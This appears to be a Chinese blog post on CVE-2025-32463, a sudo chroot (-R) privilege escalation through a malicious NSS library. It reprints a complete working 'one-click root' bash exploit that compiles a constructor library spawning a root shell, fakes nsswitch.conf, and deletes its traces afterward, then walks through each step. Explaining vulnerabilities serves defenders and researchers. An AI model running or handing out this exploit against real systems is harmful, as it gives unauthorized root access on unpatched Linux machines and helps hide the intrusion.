1️⃣ 背景:
这个漏洞原理主要就是利用sudo的一个-R/--chroot选项那么这个选项是干什么的呢?
从1.9.14版本的sudo开始,便引用了-R(–chroot)选项,本意是是用来让用户通过该选项指定chroot的目录下执行具有root权限的命令,保证执行环境的隔离。
2️⃣ 核心
那漏洞点就来了,因为sudo在解析与sudoers的相匹配的命令之前会先进入一个我们可以控制的chroot环境,也就是我们-R指定的目录下。而当我们在这个目录下写一些恶意的配置文件如:/etc/nsswitch.conf- 恶意
libnss_*.so动态链接库 /etc/passwd,/etc/group等
当sudo解析用户、组、主机名等权限进行匹配 glibc NSS(Name Service Switch) 时,会触发 **glibc NSS(Name Service Switch)**机制我们写在该目录下的恶意动态库,从而实现提权。
具体流程如下:
- 在 执行 sudoers 检查之前,需要解析用户信息。
- 用户信息解析依赖
getpwnam()等 glibc 函数。 - glibc 根据
/etc/nsswitch.conf加载libnss_*动态库。 - 因已进入可控
chroot环境,因此加载了用户伪造的恶意库。 - 恶意库在加载时即在 root 权限下执行任意代码。
- 从而无需匹配 sudoers,即可直接执行任意代码。
本质是:**NSS**** 模块加载在 **root** 权限且在 **sudoers** 检查之前触发,因此造成绕过权限控制的提权。**
一键提权exp
脚本来源于[https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot](https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot)可以看到,很丝滑,一键提权 _

#!/bin/bash
# sudo-chwoot.sh
# CVE-2025-32463 – Sudo EoP Exploit PoC by Rich Mirch
# @ Stratascale Cyber Research Unit (CRU)
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX)
cd ${STAGE?} || exit 1
cat > woot1337.c<<EOF
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir("/");
execl("/bin/bash", "/bin/bash", NULL);
}
EOF
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!"
sudo -R woot woot
rm -rf ${STAGE?} ##清理痕迹
我们来解析一下这个exp
第一部分
```bash STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1 ```- 在
/tmp创建一个临时工作目录用于放置攻击文件,避免污染系统。 - 进入该目录进行后续操作。
二
```bash cat > woot1337.c<attribute((constructor)) void woot(void) {
setreuid(0,0);
setregid(0,0);
chdir(“/”);
execl(“/bin/bash”, “/bin/bash”, NULL);
}
EOF
这个就是写的一个恶意的NSS动态库,其中设置了权限` setreuid(0,0); setregid(0,0); `为root,后面就是切换工作目录为/ 最后获得一个root权限的shell。`__attribute__((constructor))` 修饰的 `woot()` 在库被加载时立即执行
<h1 id="kvHSe">三</h1>
```bash
mkdir -p woot/etc libnss_
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
cp /etc/group woot/etc
这里就是构造了一个chroot环境
woot/etc:模拟 chroot 环境的/etc/。libnss_:用于存放伪造的 NSS 动态库。
伪造的 nsswitch.conf:
echo "passwd: /woot1337" > woot/etc/nsswitch.conf
指定在解析 passwd 时优先加载 libnss_woot1337.so.2。
注意:/woot1337 被解释为 libnss_/woot1337.so.2(glibc NSS 加载机制会在前缀后自动补全 libnss_<name>.so.2)
四
最后就是编译写好的NSS动态库gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
-shared: 生成共享库。-fPIC: 生成位置无关代码。-Wl,-init,woot: 链接器选项,执行woot()函数时自动运行(与 constructor 功能类似,双保险)。
此动态库在被加载时立即执行 woot(),提权并执行 /bin/bash。
最后就是执行exploit
```plain echo "woot!" sudo -R woot woot ```-R woot → 切换根目录至当前目录下的 woot/
执行命令 woot(此处 woot 可不存在,因为漏洞点在于执行前会加载 NSS
总结触发的流程
**触发流程:**- Sudo 以 root 权限进入 chroot(此时路径为攻击者可控的
woot/)。 - 在
woot/etc/nsswitch.conf中配置优先使用/woot1337NSS。 - glibc 在解析用户信息时加载可控路径
libnss_/woot1337.so.2。 - 恶意动态库被加载,执行
woot(),提权并启动**/bin/bash**以 root 权限运行


386

被折叠的 条评论
为什么被折叠?



